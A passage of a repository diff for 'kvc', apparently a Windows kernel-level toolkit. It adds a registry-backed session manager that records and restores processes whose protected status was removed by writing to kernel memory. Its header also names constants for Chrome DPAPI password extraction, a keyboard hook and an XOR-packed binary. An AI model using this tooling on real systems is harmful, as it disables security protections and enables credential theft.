SUCCESS(L"Cleaned up %zu old sessions (kept current session)", keysToDelete.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
INFO(L"No old sessions to cleanup");
|
||||
}
|
||||
}
|
||||
|
||||
std::wstring SessionManager::GetRegistryBasePath() noexcept
|
||||
{
|
||||
return L"Software\\kvc";
|
||||
}
|
||||
|
||||
std::wstring SessionManager::GetSessionPath(const std::wstring& sessionId) noexcept
|
||||
{
|
||||
return GetRegistryBasePath() + L"\\Sessions\\" + sessionId;
|
||||
}
|
||||
|
||||
// Remove all session keys except current boot session
|
||||
void SessionManager::CleanupStaleSessions() noexcept
|
||||
{
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
|
||||
return;
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
|
||||
std::vector<std::wstring> keysToDelete;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring keyName = subKeyName;
|
||||
if (keyName != currentSession)
|
||||
keysToDelete.push_back(keyName);
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
// Delete stale sessions
|
||||
for (const auto& key : keysToDelete)
|
||||
{
|
||||
DeleteKeyRecursive(hSessions, key);
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
}
|
||||
|
||||
// Save process state before unprotect operation
|
||||
bool SessionManager::SaveUnprotectOperation(const std::wstring& signerName,
|
||||
const std::vector<ProcessEntry>& affectedProcesses) noexcept
|
||||
{
|
||||
if (affectedProcesses.empty())
|
||||
return true;
|
||||
|
||||
// Use original signer name (no normalization)
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey = OpenOrCreateKey(signerPath);
|
||||
if (!hKey)
|
||||
{
|
||||
ERROR(L"Failed to create registry key for session state");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD index = 0;
|
||||
for (const auto& proc : affectedProcesses)
|
||||
{
|
||||
SessionEntry entry;
|
||||
entry.Pid = proc.Pid;
|
||||
entry.ProcessName = proc.ProcessName;
|
||||
entry.OriginalProtection = Utils::GetProtection(proc.ProtectionLevel, proc.SignerType);
|
||||
entry.SignatureLevel = proc.SignatureLevel;
|
||||
entry.SectionSignatureLevel = proc.SectionSignatureLevel;
|
||||
entry.Status = L"UNPROTECTED";
|
||||
|
||||
if (!WriteSessionEntry(signerName, index, entry))
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
// Write count
|
||||
DWORD count = static_cast<DWORD>(affectedProcesses.size());
|
||||
RegSetValueExW(hKey, L"Count", 0, REG_DWORD, reinterpret_cast<const BYTE*>(&count), sizeof(DWORD));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
SUCCESS(L"Session state saved to registry (%d processes tracked)", count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool SessionManager::WriteSessionEntry(const std::wstring& signerName, DWORD index, const SessionEntry& entry) noexcept
|
||||
{
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
// Format: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
|
||||
std::wostringstream oss;
|
||||
oss << entry.Pid << L"|"
|
||||
<< entry.ProcessName << L"|"
|
||||
<< static_cast<int>(entry.OriginalProtection) << L"|"
|
||||
<< static_cast<int>(entry.SignatureLevel) << L"|"
|
||||
<< static_cast<int>(entry.SectionSignatureLevel) << L"|"
|
||||
<< entry.Status;
|
||||
|
||||
std::wstring valueName = L"Proc_" + std::to_wstring(index);
|
||||
std::wstring valueData = oss.str();
|
||||
|
||||
LONG result = RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(valueData.c_str()),
|
||||
static_cast<DWORD>((valueData.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool SessionManager::UpdateEntryStatus(const std::wstring& signerName, DWORD index, const std::wstring& newStatus) noexcept
|
||||
{
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::wstring valueName = L"Proc_" + std::to_wstring(index);
|
||||
wchar_t valueData[512];
|
||||
DWORD valueSize = sizeof(valueData);
|
||||
|
||||
if (RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr,
|
||||
reinterpret_cast<BYTE*>(valueData), &valueSize) != ERROR_SUCCESS)
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Parse existing entry
|
||||
std::wstring data = valueData;
|
||||
std::vector<std::wstring> parts;
|
||||
std::wstring current;
|
||||
|
||||
for (wchar_t ch : data)
|
||||
{
|
||||
if (ch == L'|')
|
||||
{
|
||||
parts.push_back(current);
|
||||
current.clear();
|
||||
}
|
||||
else
|
||||
{
|
||||
current += ch;
|
||||
}
|
||||
}
|
||||
if (!current.empty())
|
||||
parts.push_back(current);
|
||||
|
||||
if (parts.size() < 5)
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Rebuild with new status
|
||||
std::wostringstream oss;
|
||||
oss << parts[0] << L"|" << parts[1] << L"|" << parts[2] << L"|"
|
||||
<< parts[3] << L"|" << parts[4] << L"|" << newStatus;
|
||||
|
||||
std::wstring newValueData = oss.str();
|
||||
|
||||
LONG result = RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(newValueData.c_str()),
|
||||
static_cast<DWORD>((newValueData.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
std::vector<SessionEntry> SessionManager::LoadSessionEntries(const std::wstring& signerName) noexcept
|
||||
{
|
||||
std::vector<SessionEntry> entries;
|
||||
|
||||
// Normalize signer name for case-insensitive comparison
|
||||
std::wstring normalizedSigner = signerName;
|
||||
std::transform(normalizedSigner.begin(), normalizedSigner.end(),
|
||||
normalizedSigner.begin(), ::towlower);
|
||||
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
|
||||
return entries;
|
||||
|
||||
// Search all subkeys for matching signer (case-insensitive)
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::wstring foundSignerKey;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
|
||||
if (result != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring candidate = subKeyName;
|
||||
std::wstring normalizedCandidate = candidate;
|
||||
std::transform(normalizedCandidate.begin(), normalizedCandidate.end(),
|
||||
normalizedCandidate.begin(), ::towlower);
|
||||
|
||||
if (normalizedCandidate == normalizedSigner) {
|
||||
foundSignerKey = candidate;
|
||||
break;
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
if (foundSignerKey.empty()) {
|
||||
RegCloseKey(hSession);
|
||||
DEBUG(L"No signer key found for: %s (normalized: %s)", signerName.c_str(), normalizedSigner.c_str());
|
||||
return entries;
|
||||
}
|
||||
|
||||
// Use found key name
|
||||
entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
|
||||
RegCloseKey(hSession);
|
||||
|
||||
DEBUG(L"Loaded %zu entries for signer: %s (key: %s)", entries.size(), signerName.c_str(), foundSignerKey.c_str());
|
||||
return entries;
|
||||
}
|
||||
|
||||
std::vector<SessionEntry> SessionManager::LoadSessionEntriesFromPath(const std::wstring& sessionPath, const std::wstring& signerName) noexcept
|
||||
{
|
||||
std::vector<SessionEntry> entries;
|
||||
|
||||
std::wstring signerPath = sessionPath + L"\\" + signerName;
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return entries;
|
||||
|
||||
DWORD count = 0;
|
||||
DWORD dataSize = sizeof(DWORD);
|
||||
if (RegQueryValueExW(hKey, L"Count", nullptr, nullptr, reinterpret_cast<BYTE*>(&count), &dataSize) != ERROR_SUCCESS) {
|
||||
count = 0;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < count; i++)
|
||||
{
|
||||
std::wstring valueName = L"Proc_" + std::to_wstring(i);
|
||||
wchar_t valueData[512];
|
||||
DWORD valueSize = sizeof(valueData);
|
||||
|
||||
if (RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr,
|
||||
reinterpret_cast<BYTE*>(valueData), &valueSize) == ERROR_SUCCESS)
|
||||
{
|
||||
// Parse: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
|
||||
std::wstring data = valueData;
|
||||
std::vector<std::wstring> parts;
|
||||
std::wstring current;
|
||||
|
||||
for (wchar_t ch : data)
|
||||
{
|
||||
if (ch == L'|')
|
||||
{
|
||||
parts.push_back(current);
|
||||
current.clear();
|
||||
}
|
||||
else
|
||||
{
|
||||
current += ch;
|
||||
}
|
||||
}
|
||||
if (!current.empty())
|
||||
parts.push_back(current);
|
||||
|
||||
if (parts.size() >= 5)
|
||||
{
|
||||
SessionEntry entry;
|
||||
entry.Pid = static_cast<DWORD>(std::stoul(parts[0]));
|
||||
entry.ProcessName = parts[1];
|
||||
entry.OriginalProtection = static_cast<UCHAR>(std::stoi(parts[2]));
|
||||
entry.SignatureLevel = static_cast<UCHAR>(std::stoi(parts[3]));
|
||||
entry.SectionSignatureLevel = static_cast<UCHAR>(std::stoi(parts[4]));
|
||||
entry.Status = (parts.size() >= 6) ? parts[5] : L"UNPROTECTED";
|
||||
|
||||
entries.push_back(entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return entries;
|
||||
}
|
||||
|
||||
// Restore protection for specific signer group
|
||||
bool SessionManager::RestoreBySigner(const std::wstring& signerName, Controller* controller) noexcept
|
||||
{
|
||||
if (!controller)
|
||||
{
|
||||
ERROR(L"Controller not available for restoration");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Find actual signer key name in registry (case-insensitive search)
|
||||
std::wstring normalizedSigner = signerName;
|
||||
std::transform(normalizedSigner.begin(), normalizedSigner.end(),
|
||||
normalizedSigner.begin(), ::towlower);
|
||||
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No saved state found for signer: %s", signerName.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Find actual key name in registry
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::wstring foundSignerKey;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
|
||||
if (result != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring candidate = subKeyName;
|
||||
std::wstring normalizedCandidate = candidate;
|
||||
std::transform(normalizedCandidate.begin(), normalizedCandidate.end(),
|
||||
normalizedCandidate.begin(), ::towlower);
|
||||
|
||||
if (normalizedCandidate == normalizedSigner) {
|
||||
foundSignerKey = candidate;
|
||||
break;
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSession);
|
||||
|
||||
if (foundSignerKey.empty())
|
||||
{
|
||||
INFO(L"No saved state found for signer: %s", signerName.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Load entries using actual key name
|
||||
auto entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
|
||||
|
||||
if (entries.empty())
|
||||
{
|
||||
INFO(L"No saved state found for signer: %s", signerName.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Restoring protection for %s (%zu processes)", signerName.c_str(), entries.size());
|
||||
|
||||
DWORD successCount = 0;
|
||||
DWORD skipCount = 0;
|
||||
DWORD entryIndex = 0;
|
||||
|
||||
for (const auto& entry : entries)
|
||||
{
|
||||
// Skip if already restored
|
||||
if (entry.Status == L"RESTORED")
|
||||
{
|
||||
skipCount++;
|
||||
entryIndex++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check if process still exists
|
||||
auto kernelAddr = controller->GetProcessKernelAddress(entry.Pid);
|
||||
if (!kernelAddr)
|
||||
{
|
||||
INFO(L"Skipping PID %d (%s) - process no longer exists", entry.Pid, entry.ProcessName.c_str());
|
||||
skipCount++;
|
||||
entryIndex++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Restore original protection
|
||||
if (controller->SetProcessProtection(kernelAddr.value(), entry.OriginalProtection))
|
||||
{
|
||||
UpdateEntryStatus(foundSignerKey, entryIndex, L"RESTORED");
|
||||
SUCCESS(L"Restored protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
successCount++;
|
||||
}
|
||||
else
|
||||
{
|
||||
ERROR(L"Failed to restore protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
|
||||
}
|
||||
|
||||
entryIndex++;
|
||||
}
|
||||
|
||||
INFO(L"Restoration completed: %d restored, %d skipped", successCount, skipCount);
|
||||
return successCount > 0;
|
||||
}
|
||||
|
||||
// Restore all saved protection states
|
||||
bool SessionManager::RestoreAll(Controller* controller) noexcept
|
||||
{
|
||||
if (!controller)
|
||||
{
|
||||
ERROR(L"Controller not available for restoration");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
|
||||
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No saved session state found");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Enumerate all signer subkeys
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::vector<std::wstring> signers;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
signers.push_back(subKeyName);
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSession);
|
||||
|
||||
if (signers.empty())
|
||||
{
|
||||
INFO(L"No saved state found in current session");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Restoring all protection states (%zu groups)", signers.size());
|
||||
|
||||
bool anySuccess = false;
|
||||
for (const auto& signer : signers)
|
||||
{
|
||||
if (RestoreBySigner(signer, controller))
|
||||
anySuccess = true;
|
||||
}
|
||||
|
||||
return anySuccess;
|
||||
}
|
||||
|
||||
// Display saved session history
|
||||
void SessionManager::ShowHistory() noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No saved session state found (cannot open sessions key)");
|
||||
return;
|
||||
}
|
||||
|
||||
// Show current calculated boot session ID
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
INFO(L"Current boot session ID: %s", currentSession.c_str());
|
||||
INFO(L"All sessions found in registry:");
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
bool foundSessions = false;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring sessionId = subKeyName;
|
||||
std::wcout << L"\nSession: " << sessionId;
|
||||
if (sessionId == currentSession) {
|
||||
std::wcout << L" [CURRENT]";
|
||||
}
|
||||
std::wcout << L"\n";
|
||||
|
||||
std::wstring sessionPath = basePath + L"\\" + sessionId;
|
||||
HKEY hSession;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD signerIndex = 0;
|
||||
wchar_t signerName[256];
|
||||
DWORD signerNameSize;
|
||||
|
||||
while (true)
|
||||
{
|
||||
signerNameSize = 256;
|
||||
if (RegEnumKeyExW(hSession, signerIndex, signerName, &signerNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring signer = signerName;
|
||||
auto entries = LoadSessionEntriesFromPath(sessionPath, signer);
|
||||
std::wcout << L" [" << signer << L"] - " << entries.size() << L" processes\n";
|
||||
|
||||
for (const auto& entry : entries)
|
||||
{
|
||||
std::wcout << L" PID " << entry.Pid << L": " << entry.ProcessName
|
||||
<< L" (protection: 0x" << std::hex << static_cast<int>(entry.OriginalProtection)
|
||||
<< std::dec << L", status: " << entry.Status << L")\n";
|
||||
}
|
||||
|
||||
signerIndex++;
|
||||
foundSessions = true;
|
||||
}
|
||||
RegCloseKey(hSession);
|
||||
}
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
|
||||
if (!foundSessions) {
|
||||
INFO(L"No session data found in registry");
|
||||
}
|
||||
}
|
||||
|
||||
HKEY SessionManager::OpenOrCreateKey(const std::wstring& path) noexcept
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD disposition;
|
||||
|
||||
if (RegCreateKeyExW(HKEY_CURRENT_USER, path.c_str(), 0, nullptr,
|
||||
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nullptr,
|
||||
&hKey, &disposition) != ERROR_SUCCESS)
|
||||
{
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
return hKey;
|
||||
}
|
||||
|
||||
bool SessionManager::DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept
|
||||
{
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(hKeyParent, subKey.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
// Delete all subkeys first
|
||||
wchar_t childName[256];
|
||||
DWORD childNameSize;
|
||||
|
||||
while (true)
|
||||
{
|
||||
childNameSize = 256;
|
||||
if (RegEnumKeyExW(hKey, 0, childName, &childNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
DeleteKeyRecursive(hKey, childName);
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
RegDeleteKeyW(hKeyParent, subKey.c_str());
|
||||
|
||||
return true;
|
||||
}
|
||||
68
kvc/SessionManager.h
Normal file
68
kvc/SessionManager.h
Normal file
@@ -0,0 +1,68 @@
|
||||
// SessionManager.h
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <optional>
|
||||
|
||||
struct ProcessEntry;
|
||||
|
||||
// Session state entry for restoration tracking
|
||||
struct SessionEntry
|
||||
{
|
||||
DWORD Pid;
|
||||
std::wstring ProcessName;
|
||||
UCHAR OriginalProtection; // Combined level + signer
|
||||
UCHAR SignatureLevel;
|
||||
UCHAR SectionSignatureLevel;
|
||||
std::wstring Status; // "UNPROTECTED" or "RESTORED"
|
||||
};
|
||||
|
||||
// Manages process protection state across boot sessions
|
||||
class SessionManager
|
||||
{
|
||||
public:
|
||||
SessionManager() = default;
|
||||
~SessionManager() = default;
|
||||
|
||||
// Session lifecycle management
|
||||
void CleanupStaleSessions() noexcept;
|
||||
void CleanupAllSessionsExceptCurrent() noexcept;
|
||||
void DetectAndHandleReboot() noexcept;
|
||||
void EnforceSessionLimit(int maxSessions) noexcept;
|
||||
|
||||
// State tracking operations
|
||||
bool SaveUnprotectOperation(const std::wstring& signerName,
|
||||
const std::vector<ProcessEntry>& affectedProcesses) noexcept;
|
||||
|
||||
// Restoration operations
|
||||
bool RestoreBySigner(const std::wstring& signerName, class Controller* controller) noexcept;
|
||||
bool RestoreAll(class Controller* controller) noexcept;
|
||||
|
||||
// Query operations
|
||||
void ShowHistory() noexcept;
|
||||
|
||||
private:
|
||||
std::wstring GetCurrentBootSession() noexcept;
|
||||
std::wstring CalculateBootTime() noexcept;
|
||||
ULONGLONG GetLastBootIdFromRegistry() noexcept;
|
||||
void SaveLastBootId(ULONGLONG bootId) noexcept;
|
||||
|
||||
ULONGLONG GetLastTickCountFromRegistry() noexcept;
|
||||
void SaveLastTickCount(ULONGLONG tickCount) noexcept;
|
||||
|
||||
std::wstring GetRegistryBasePath() noexcept;
|
||||
std::wstring GetSessionPath(const std::wstring& sessionId) noexcept;
|
||||
|
||||
std::vector<SessionEntry> LoadSessionEntries(const std::wstring& signerName) noexcept;
|
||||
std::vector<SessionEntry> LoadSessionEntriesFromPath(const std::wstring& sessionPath, const std::wstring& signerName) noexcept;
|
||||
bool WriteSessionEntry(const std::wstring& signerName, DWORD index, const SessionEntry& entry) noexcept;
|
||||
bool UpdateEntryStatus(const std::wstring& signerName, DWORD index, const std::wstring& newStatus) noexcept;
|
||||
|
||||
std::vector<std::wstring> GetAllSessionIds() noexcept;
|
||||
|
||||
// Registry helpers
|
||||
HKEY OpenOrCreateKey(const std::wstring& path) noexcept;
|
||||
bool DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept;
|
||||
};
|
||||
46
kvc/common.h
46
kvc/common.h
@@ -15,6 +15,9 @@
|
||||
#include <chrono>
|
||||
#include <memory>
|
||||
|
||||
// Session management constants
|
||||
inline constexpr int MAX_SESSIONS = 16;
|
||||
|
||||
#ifdef BUILD_DATE
|
||||
#define __DATE__ BUILD_DATE
|
||||
#endif
|
||||
@@ -29,7 +32,6 @@
|
||||
#undef ERROR
|
||||
#endif
|
||||
|
||||
|
||||
#ifndef SHTDN_REASON_MAJOR_SOFTWARE
|
||||
#define SHTDN_REASON_MAJOR_SOFTWARE 0x00030000
|
||||
#endif
|
||||
@@ -56,7 +58,7 @@ struct SystemModuleDeleter {
|
||||
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
|
||||
using SystemModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, SystemModuleDeleter>;
|
||||
|
||||
// Logging system with message formatting
|
||||
// Fixed logging system with proper buffer size and variadic handling
|
||||
template<typename... Args>
|
||||
void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
||||
{
|
||||
@@ -70,7 +72,7 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
||||
else
|
||||
{
|
||||
wchar_t buffer[1024];
|
||||
swprintf_s(buffer, format, std::forward<Args>(args)...);
|
||||
swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
|
||||
ss << buffer;
|
||||
}
|
||||
|
||||
@@ -79,19 +81,19 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
||||
}
|
||||
|
||||
#if kvc_DEBUG_ENABLED
|
||||
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__)
|
||||
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, ##__VA_ARGS__)
|
||||
#else
|
||||
#define DEBUG(format, ...) do {} while(0)
|
||||
#endif
|
||||
|
||||
#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__)
|
||||
#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__)
|
||||
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__)
|
||||
#define ERROR(format, ...) PrintMessage(L"[-] ", format, ##__VA_ARGS__)
|
||||
#define INFO(format, ...) PrintMessage(L"[*] ", format, ##__VA_ARGS__)
|
||||
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, ##__VA_ARGS__)
|
||||
|
||||
#define LASTERROR(f) \
|
||||
do { \
|
||||
wchar_t buf[256]; \
|
||||
swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
|
||||
swprintf_s(buf, 256, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
|
||||
std::wcout << buf; \
|
||||
} while(0)
|
||||
|
||||
@@ -119,22 +121,22 @@ enum class PS_PROTECTED_SIGNER : UCHAR
|
||||
|
||||
// Service-related constants
|
||||
namespace ServiceConstants {
|
||||
constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
|
||||
constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
|
||||
constexpr const wchar_t* SERVICE_PARAM = L"--service";
|
||||
inline constexpr wchar_t SERVICE_NAME[] = L"KernelVulnerabilityControl";
|
||||
inline constexpr wchar_t SERVICE_DISPLAY_NAME[] = L"Kernel Vulnerability Capabilities Framework";
|
||||
inline constexpr wchar_t SERVICE_PARAM[] = L"--service";
|
||||
|
||||
// Keyboard hook settings
|
||||
constexpr int CTRL_SEQUENCE_LENGTH = 5;
|
||||
constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
|
||||
constexpr DWORD CTRL_DEBOUNCE_MS = 50;
|
||||
inline constexpr int CTRL_SEQUENCE_LENGTH = 5;
|
||||
inline constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
|
||||
inline constexpr DWORD CTRL_DEBOUNCE_MS = 50;
|
||||
}
|
||||
|
||||
// DPAPI constants for password extraction
|
||||
namespace DPAPIConstants {
|
||||
constexpr int SQLITE_OK = 0;
|
||||
constexpr int SQLITE_ROW = 100;
|
||||
constexpr int SQLITE_DONE = 101;
|
||||
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
||||
inline constexpr int SQLITE_OK = 0;
|
||||
inline constexpr int SQLITE_ROW = 100;
|
||||
inline constexpr int SQLITE_DONE = 101;
|
||||
inline constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
||||
|
||||
inline std::string GetChromeV10Prefix() { return "v10"; }
|
||||
inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; }
|
||||
@@ -259,7 +261,7 @@ inline std::wstring GetDriverStorePathSafe() noexcept {
|
||||
}
|
||||
|
||||
// KVC combined binary processing constants
|
||||
constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
|
||||
constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
|
||||
constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
|
||||
inline constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
inline constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
|
||||
inline constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
|
||||
inline constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
|
||||
Reference in New Issue
Block a user